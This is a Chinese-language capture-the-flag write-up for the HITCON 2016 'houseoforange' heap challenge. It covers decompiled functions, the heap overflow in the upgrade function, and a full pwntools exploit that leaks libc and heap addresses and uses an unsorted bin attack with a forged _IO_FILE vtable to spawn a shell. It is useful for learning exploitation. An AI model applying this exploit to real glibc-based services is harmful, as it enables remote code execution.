houseoforange_hitcon_2016

1774952008696-1ae8d582-0544-44ea-82a1-057db23ea888.png

main

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
void __fastcall __noreturn main(const char *p_Invalid_choice, char **a2, char **a3)
{
  int n2; // eax

  sub_1218();
  while ( 1 )
  {
    while ( 1 )
    {
      menu();
      n2 = atoi_(p_Invalid_choice, a2);
      if ( n2 != 2 )
        break;
      See();
    }
    if ( n2 > 2 )
    {
      if ( n2 == 3 )
      {
        Upgrade();
      }
      else
      {
        if ( n2 == 4 )
        {
          puts("give up");
          exit(0);
        }
LABEL_13:
        p_Invalid_choice = "Invalid choice";
        puts("Invalid choice");
      }
    }
    else
    {
      if ( n2 != 1 )
        goto LABEL_13;
      build();
    }
  }
}

build

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
int build()
{
    unsigned int size; // [rsp+8h] [rbp-18h]
    int size_4; // [rsp+Ch] [rbp-14h]
    _QWORD *v3; // [rsp+10h] [rbp-10h]
    _DWORD *v4; // [rsp+18h] [rbp-8h]

    if ( count > 3u )
    {
        puts("Too many house");
        exit(1);
    }
    v3 = malloc(0x10u);                           // 创建0x10大小的堆
    printf("Length of name :");
    size = atoi_();                               // 输入name大小
    if ( size > 0x1000 )
        size = 4096;
    v3[1] = malloc(size);                         // 创建size大小的堆
    if ( !v3[1] )
    {
        puts("Malloc error !!!");
        exit(1);
    }
    printf("Name :");
    read_((void *)v3[1], size);                   // 读取size大小的内容放到v3[1]
    v4 = calloc(1u, 8u);                          // 在v4中创建0x8大小的空间
    printf("Price of Orange:");
    *v4 = atoi_();                                // 前四个字节用来存放价格
    color_menu();                                 // 颜色菜单
    printf("Color of Orange:");
    size_4 = atoi_();                             // 选择颜色序号
    if ( size_4 != 0xDDAA && (size_4 <= 0 || size_4 > 7) )
    {
        puts("No such color");
        exit(1);
    }
    if ( size_4 == 0xDDAA )
        v4[1] = 0xDDAA;                             // 在v4后四个字节尺存放颜色序号
    else
        v4[1] = size_4 + 30;
    *v3 = v4;                                     // 把v4存放在v3[0]处
    qword_203068 = v3;                            // 把v3存放到全局变量当中
    ++count;
    return puts("Finish");
}

可以发现 v4 的定义是 DWORD，也就是说它是四个字节的数据，每一次填充都只能填充四个字节，它把 v3 拆分成两个四字节分别用来填充价格和颜色序号。

这里不需要考虑别的内容，颜色序号直接写 0xDDAA

1
2
3
4
5
6
7
8
9
10
11
12
全局变量 qword_203068
      |
      V
+-----------------------+  (由 malloc(0x10) 分配)
|  [0x00] 指向属性的指针  | -------> +-------------------+ (由 calloc(1, 8) 分配)
|  [0x08] 指向名字的指针  | ---+     | [0x00] Price (4B) |
+-----------------------+    |     | [0x04] Color (4B)  |
                             |     +-------------------+
                             V
                  +-----------------------+ (由 malloc(size) 分配)
                  | 用户输入的名字字符串... |
                  +-----------------------+

See

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
int See()
{
  int v0; // eax
  int v2; // eax

  if ( !qword_203068 )
    return puts("No such house !");
  if ( *(_DWORD *)(*qword_203068 + 4LL) == 0xDDAA )
  {
    printf("Name of house : %s\n", (const char *)qword_203068[1]);
    printf("Price of orange : %d\n", *(_DWORD *)*qword_203068);
    v0 = rand();
    return printf("\x1B[01;38;5;214m%s\x1B[0m\n", *((const char **)&unk_203080 + v0 % 8));// rand()%8 随机抽签，抽取0-7
  }
  else
  {
    if ( *(int *)(*qword_203068 + 4LL) <= 30 || *(int *)(*qword_203068 + 4LL) > 37 )
    {
      puts("Color corruption!");
      exit(1);
    }
    printf("Name of house : %s\n", (const char *)qword_203068[1]);   // 打印名字
    printf("Price of orange : %d\n", *(_DWORD *)*qword_203068);  
    v2 = rand();
    return printf("\x1B[%dm%s\x1B[0m\n", *(_DWORD *)(*qword_203068 + 4LL), *((const char **)&unk_203080 + v2 % 8));
  }
}
1
2
3
4
5
6
7
8
9
10
11
12
printf("\x1B[01;38;5;214m%s\x1B[0m\n", *((const char **)&unk_203080 + v0 % 8));
       __            
       \/.--,              这个就是rand()%8的结果                                                                                             
       //_.'               其实有很多个不一样的苹果，这里就是从0-7索引当中随意打印出来的一个                                                                                             
  .-""-/""----..           本质上对这道题没什么大影响，算是个小彩蛋吧                                                                                             
 / . . . . . . . \                                                                                                      
/ . . \ . . / . . \                                                                                                     
|. ____\ . /____. |                                                                                                     
\ . . . . . . . . |                                                                                                     
\. . . . . . . . ./                                                                                                     
 \ . . . ～ . . ./                                                                                                      
  '-.__.__.__._-'                                                                                                                    //_.'                                                                                                               .-""-/""----..                                                                                                          / . . . . . . . \                                                                                                       / . . . . . . . . \                                                                                                      |. ωωωω . .ωωωω.  |                                                                                                      \ . $$. . . $$. ..|                                                                                                      \. . . . . . . . ./                                                                                                       \ . . . O . . . /                                                                                                         '-.__.__.__._-'

整个 See 函数的作用就是选取 name 地址存放的内容进行打印，也就是打印出前面定义过的 name

Upgrade

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
int Upgrade()
{
  _DWORD *v1; // rbx
  unsigned int size; // [rsp+8h] [rbp-18h]
  int size_4; // [rsp+Ch] [rbp-14h]

  if ( n2 > 2u )
    return puts("You can't upgrade more");
  if ( !qword_203068 )
    return puts("No such house !");
  printf("Length of name :");
  size = atoi_();
  if ( size > 0x1000 )
    size = 4096;
  printf("Name:");
  read_((void *)qword_203068[1], size);
  printf("Price of Orange: ");
  v1 = (_DWORD *)*qword_203068;
  *v1 = atoi_();
  color_menu();
  printf("Color of Orange: ");
  size_4 = atoi_();
  if ( size_4 != 0xDDAA && (size_4 <= 0 || size_4 > 7) )
  {
    puts("No such color");
    exit(1);
  }
  if ( size_4 == 0xDDAA )
    *(_DWORD *)(*qword_203068 + 4LL) = 0xDDAA;
  else
    *(_DWORD *)(*qword_203068 + 4LL) = size_4 + 30;
  ++n2;
  return puts("Finish");
}

整体就是一个更新名字，价格，颜色的的函数

exp 思路：

封装函数：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *

context(os = 'linux', arch = 'amd64', log_level = 'debug')
r = process('./orange')
#r = remote('node5.buuoj.cn', 26315)
# libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc = ELF('x64libc-2.23.so')
libc = ELF('/home/kali/Desktop/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc-2.23.so')
# elf = ELF('houseoforange_hitcon_2016')
menu = 'Your choice : '

def add(size, name, price, color):
    r.sendlineafter(menu, '1')
    r.sendlineafter('Length of name :', str(size))
    r.sendafter('Name :', name)
    r.sendlineafter('Price of Orange:', str(price))
    r.sendlineafter('Color of Orange:', str(color))

def show():
    r.sendlineafter(menu, '2')

def edit(size, name, price, color):
    r.sendlineafter(menu, '3')
    r.sendlineafter('Length of name :', str(size))
    r.sendlineafter('Name:', name)
    r.sendlineafter('Price of Orange: ', str(price))
    r.sendafter('Color of Orange: ', str(color))

堆溢出篡改 Top_chunk

1
2
3
4
add(0x10, 'aaaa', 0xff, 1) # 1. 申请一个极小的 chunk (大小 0x10)
p1 = b'a' * 0x10 + p64(0) + p64(0x21) + p64(0) * 3 + p64(0xfa1) # 2. 构造溢出 Payload，覆盖 Top Chunk 的 Header
edit(0x50, p1, 0xff, 1) # 3. 利用程序 edit 的堆溢出漏洞，将 Payload 写入
gdb.attach(r)
1774963075830-ba61ff54-fe28-419b-94b0-2823a9ee6da5.png 
1
2
3
4
5
6
7
8
9
10
11
12
13
pwndbg> x/20gx 0x55e763de4000
0x55e763de4000: 0x0000000000000000      0x0000000000000021
0x55e763de4010: 0x000055e763de4050      0x000055e763de4030
0x55e763de4020: 0x0000000000000000      0x0000000000000021
0x55e763de4030: 0x6161616161616161      0x6161616161616161
0x55e763de4040: 0x0000000000000000      0x0000000000000021
0x55e763de4050: 0x0000001f000000ff      0x0000000000000000
0x55e763de4060: 0x0000000000000000      0x0000000000000fa1 ==>chunk
0x55e763de4070: 0x000000000000000a      0x0000000000000000
0x55e763de4080: 0x0000000000000000      0x0000000000000000
0x55e763de4090: 0x0000000000000000      0x0000000000000000
pwndbg>

这里强行缩小 top_chunk 的大小，但是需要注意页对齐 (Top_Chunk_Base + Size) & 0xfff == 0

触发 sysmalloc 进行堆扩展，造成 free_chunk

1
2
3
# 4. 申请一个大于 0xfa1 的巨大 Chunk
add(0x1000, 'aaaa', 0xff, 1)
gdb.attach(r)
  • 当我们请求 0x1000 时，Glibc 发现当前的 Top Chunk 只有 0xfa1，不够分配了。
  • 于是 Glibc 调用 sysmalloc 重新映射内存。而旧的、被我们改小为 0xfa1 的 Top Chunk 会被自动释放，进入了 Unsorted Bin。至此，我们成功在无 free 的环境下获得了一个 Free Chunk.
1774963624378-95a9539f-03f0-4d3d-931e-62e68ed2d752.png 
1
2
3
4
5
6
7
8
9
pwndbg> bins
fastbins
empty
unsortedbin
all: 0x55aeaf99a0a0 —▸ 0x7f76de1c3b78 ◂— 0x55aeaf99a0a0
smallbins
empty
largebins
empty

地址泄露 (Information Leak)

1
2
3
4
5
6
7
8
9
# 5. 从刚才进入 Unsorted Bin 的 0xfa1 块中切割 0x400 出来
add(0x400, 'b' * 8, 0xff, 1)

# 6. 利用 show 打印残留的 main_arena 指针，计算出各类基址
show()
main_arena = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))  
success('main_arena = ' + hex(main_arena))
gdb,attach(r)
pause()

当我们申请 0x400 后，Unsorted Bin 中的块会被切割，剩下的部分称为 Remainder Chunk。

Remainder Chunk 的 fd 和 bk 指针会指向 Glibc 内部的 main_arena。由于我们之前申请的块和它是挨着的，利用 show() 可以越界读出这些指针，从而精准推算出 _IO_list_all 等关键结构的地址。

1774964656032-46a2b9ef-718f-4eb1-9d9b-848c2b76f060.png

因此可以计算出 malloc_hook 的地址：

1
2
3
4
5
6
malloc_hook = main_arena - 1640 - 0x10
success('malloc_hook = ' + hex(malloc_hook))
# gdb.attach(r)
# pause()
libc_base = malloc_hook - libc.sym['__malloc_hook']
io_list_all = libc_base + libc.sym["_IO_list_all"]
1774964823326-76b3ae06-c91d-49e8-a14a-62155f79691a.png

泄露堆地址

1
2
3
4
5
6
edit(0x10, b'b' * 0x10, 0xddaa, 0xddaa)

show()
r.recvuntil('b' * 0x10)
heap_addr = u64(r.recvuntil('\n').strip().ljust(8, b'\x00'))
success('heap_addr = ' + hex(heap_addr))
  • 填充缓冲区： 之前的操作中，由于 add(0x400…) 从 Unsorted Bin 中切分了内存，当前的堆块（Chunk）中残留了指向堆本身的指针 。
  • **利用字符串截断：**edit 函数将堆块的前 0x10 字节填满字符 ‘b’。在 C 语言中，打印字符串（如 printf(“%s”)）会一直打印直到遇到空字符（\x00）。
  • 带出指针： 因为我们把原本用于截断的空字节用 ‘b’ 覆盖了，所以接下来的 show() 函数会顺着 ‘b’ 一直把后面紧跟的堆指针也打印出来 。
  • **接收与转换：**r.recvuntil(‘b’ * 0x10) 跳过我们填充的垃圾字符，直接抓取后面跟着的 6 字节堆地址，并将其转换为整数 heap_addr

寻找 One_Gadgets 和 system

1
2
3
4
one = [0x45226, 0x4527a, 0xf03a4, 0xf1247]
one_gadget = one[1] + libc_base
system_addr = libc_base + libc.sym['system']

FSOP 与 Unsorted Bin Attack

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 7. 构造包含伪造 _IO_FILE 结构体和 Unsorted Bin 攻击的 Payload
p1 = flat(
    p64(0) * 3 + p64(system_addr),   # [0x00] 放在 0x400 块的头部，这就是伪造的 vtable 中调用的函数
    0x400 * "\x00",                  # [0x20] 填充数据，一路覆盖到 Unsorted Bin 的 Remainder Chunk 头部
    "/bin/sh\x00",                   # [0x420] 覆盖 Remainder Chunk 的 prev_size (也是伪造的 _IO_FILE 的 _flags)
    0x61,                            # [0x428] 覆盖 Remainder Chunk 的 size (伪造为一个 0x60 大小的块)
    0,                               # [0x430] fd 指针 (伪造的 _IO_read_ptr)
    io_list_all - 0x10,              # [0x438] bk 指针 (这是 Unsorted Bin Attack 的核心！)
    0,                               # [0x440] 伪造的 _IO_write_base
    0x1,                             # [0x448] 伪造的 _IO_write_ptr (满足 1 > 0，绕过检查)
    0xa8 * b"\x00",                  # [0x450] 填充，直到 _IO_FILE 结构体末尾的 vtable 指针
    heap_addr+0x10                   # [0x4f8] 伪造的 vtable 指针，指向我们在 payload 开头布置好的 system_addr
)
edit(0x600, p1, 0xddaa, 0xddaa)
  • **Unsorted Bin Attack：**bk 被修改为 io_list_all - 0x10。当这个块再次被 malloc 时，Glibc 会把 main_arena+88 写入到 bk + 0x10，也就是强行把 _IO_list_all 指向了堆上的 Unsorted Bin 头部！
  • _IO_FILE 结构体重叠： 这段代码将一个堆块完美地伪造成了 _IO_FILE 结构。注意 _IO_write_ptr (0x1) 和 _IO_write_base (0) 的设置，这是触发后续 _IO_flush_all_lockp 刷新流的硬性校验条件。
  • **vtable 劫持：**heap_addr+0x10 指向了我们放置 system_addr 的地方。

最后一次申请，触发崩溃与利用

1
2
# 8. 最后一次申请，触发崩溃与利用
r.sendlineafter("Your choice : ", "1")
  • 发送 1 相当于触发了一次普通的 malloc。
  • Glibc 在遍历 Unsorted Bin 试图分配时，会触发我们布置的 Unsorted Bin Attack，将 _IO_list_all 劫持。
  • 随后，由于我们把那个块的大小伪造为了非法的 0x61，Glibc 在后续处理中会触发 malloc_printerr 报错崩溃。
  • 崩溃前，程序会调用 _IO_flush_all_lockp 刷新文件流，顺着被劫持的 _IO_list_all 找到了我们在堆上伪造的假文件块。
  • 最终，程序本以为在调用 _IO_FILE 的 __overflow 函数刷新缓冲区，实际上却调用了我们布置在 vtable 中的 system，并将伪造的 _flags ("/bin/sh\x00") 作为参数传入。

总 EXP：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
from pwn import *

context(os = 'linux', arch = 'amd64', log_level = 'debug')
r = process('./orange')
#r = remote('node5.buuoj.cn', 26315)
# libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc = ELF('x64libc-2.23.so')
libc = ELF('/home/kali/Desktop/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc-2.23.so')
# elf = ELF('houseoforange_hitcon_2016')
menu = 'Your choice : '

def add(size, name, price, color):
    r.sendlineafter(menu, '1')
    r.sendlineafter('Length of name :', str(size))
    r.sendafter('Name :', name)
    r.sendlineafter('Price of Orange:', str(price))
    r.sendlineafter('Color of Orange:', str(color))

def show():
    r.sendlineafter(menu, '2')

def edit(size, name, price, color):
    r.sendlineafter(menu, '3')
    r.sendlineafter('Length of name :', str(size))
    r.sendlineafter('Name:', name)
    r.sendlineafter('Price of Orange: ', str(price))
    r.sendafter('Color of Orange: ', str(color))

add(0x10, 'aaaa', 0xff, 1)

p1 = b'a' * 0x10 + p64(0) + p64(0x21) + p64(0) * 3 + p64(0xfa1)
edit(0x50, p1, 0xff, 1)

add(0x1000, 'aaaa', 0xff, 1)
add(0x400, 'b' * 8, 0xff, 1)

show()

malloc_hook = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) - 1640 - 0x10
success('malloc_hook = ' + hex(malloc_hook))
# libc = ELF('libc-2.23.so')
libc_base = malloc_hook - libc.sym['__malloc_hook']
io_list_all = libc_base + libc.sym["_IO_list_all"]

edit(0x10, b'b' * 0x10, 0xddaa, 0xddaa)

show()
r.recvuntil('b' * 0x10)
heap_addr = u64(r.recvuntil('\n').strip().ljust(8, b'\x00'))
success('heap_addr = ' + hex(heap_addr))
one = [0x45226, 0x4527a, 0xf03a4, 0xf1247]
one_gadget = one[1] + libc_base
system_addr = libc_base + libc.sym['system']

p1 = flat(p64(0) * 3 + p64(system_addr),
            0x400 * "\x00",
            "/bin/sh\x00", 
            0x61,
            0, 
            io_list_all - 0x10,
            0, 
            0x1,  
            0xa8 * b"\x00",
            heap_addr+0x10
            )

edit(0x600, p1, 0xddaa, 0xddaa)
r.sendlineafter("Your choice : ", "1")

r.interactive()

1774965507283-71f80ef2-e766-4684-af18-4c5d866ed59f.png

更新: 2026-03-31 22:05:11
原文: https://www.yuque.com/idcm/wnemg9/pvhgcui6c4xeh08i